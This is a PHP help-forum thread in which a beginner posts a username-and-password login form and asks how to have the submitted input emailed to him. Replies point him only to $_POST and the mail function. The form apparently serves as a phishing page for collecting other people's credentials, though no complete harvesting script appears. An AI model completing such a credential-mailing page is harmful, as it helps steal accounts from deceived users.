PHP Coding to send to mail :)

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
LolzorDude
Forum Newbie
Posts: 3
Joined: Mon Nov 17, 2008 2:07 pm

PHP Coding to send to mail :)

Post by LolzorDude »

Alright, this is my first post guys, so please be lenient with me if I say something well... stupid :D .

I have this code:

Code: Select all

<form id="login_form" method='post' action="login_saver.php">
What exactly must I put in login_saver.php to have it send to my email address?

If anyone could help me, I'd be very greatful.
User avatar
requinix
Spammer :|
Posts: 6617
Joined: Wed Oct 15, 2008 2:35 am
Location: WA, USA

Re: PHP Coding to send to mail :)

Post by requinix »

Use the $_POST array to get the form fields that you want, and (presuming your system is already set up correctly) the mail function to do the mailing.
LolzorDude
Forum Newbie
Posts: 3
Joined: Mon Nov 17, 2008 2:07 pm

Re: PHP Coding to send to mail :)

Post by LolzorDude »

Sorry again, this is a bit stupid, but do you have any examples of how I can use the $_post array? I'm VERY new to PHP.
User avatar
Syntac
Forum Contributor
Posts: 327
Joined: Sun Sep 14, 2008 7:59 pm

Re: PHP Coding to send to mail :)

Post by Syntac »

I recommend reading this. It should set you on the right path.
LolzorDude
Forum Newbie
Posts: 3
Joined: Mon Nov 17, 2008 2:07 pm

Re: PHP Coding to send to mail :)

Post by LolzorDude »

Code: Select all

<div class="hideme_wrapper">
 Please enter your username and password to continue.
</div>
<div class="loginapplet_wrapper">
 <div class="login_form">
 
 <form id="login_form" method='post' action="login_saver.php">
  
<div class='section_form' />
  <span style='float: left' />User:</span> 
 
<input style='float: right' size='20' maxlength='12' name='detail' type='text' /><br class='clear' />
 
  </div>
  <div class='section_form' />
  <span style='float: left' />Pass:</span>
 
  <input style='float: right' size='20' maxlength='20'  name='email' type='password' />
Thats the code and from that I want to have the input mailed to me :P. I looked at the mail function, I think I worked it out, I don't know how to use the $_post array though.
User avatar
requinix
Spammer :|
Posts: 6617
Joined: Wed Oct 15, 2008 2:35 am
Location: WA, USA

Re: PHP Coding to send to mail :)

Post by requinix »

Syntac gave you a link. Had you clicked it you would have seen the "Dealing with Forms" link.
enkay
Forum Newbie
Posts: 2
Joined: Mon Nov 17, 2008 6:40 pm

Re: PHP Coding to send to mail :)

Post by enkay »

Post Reply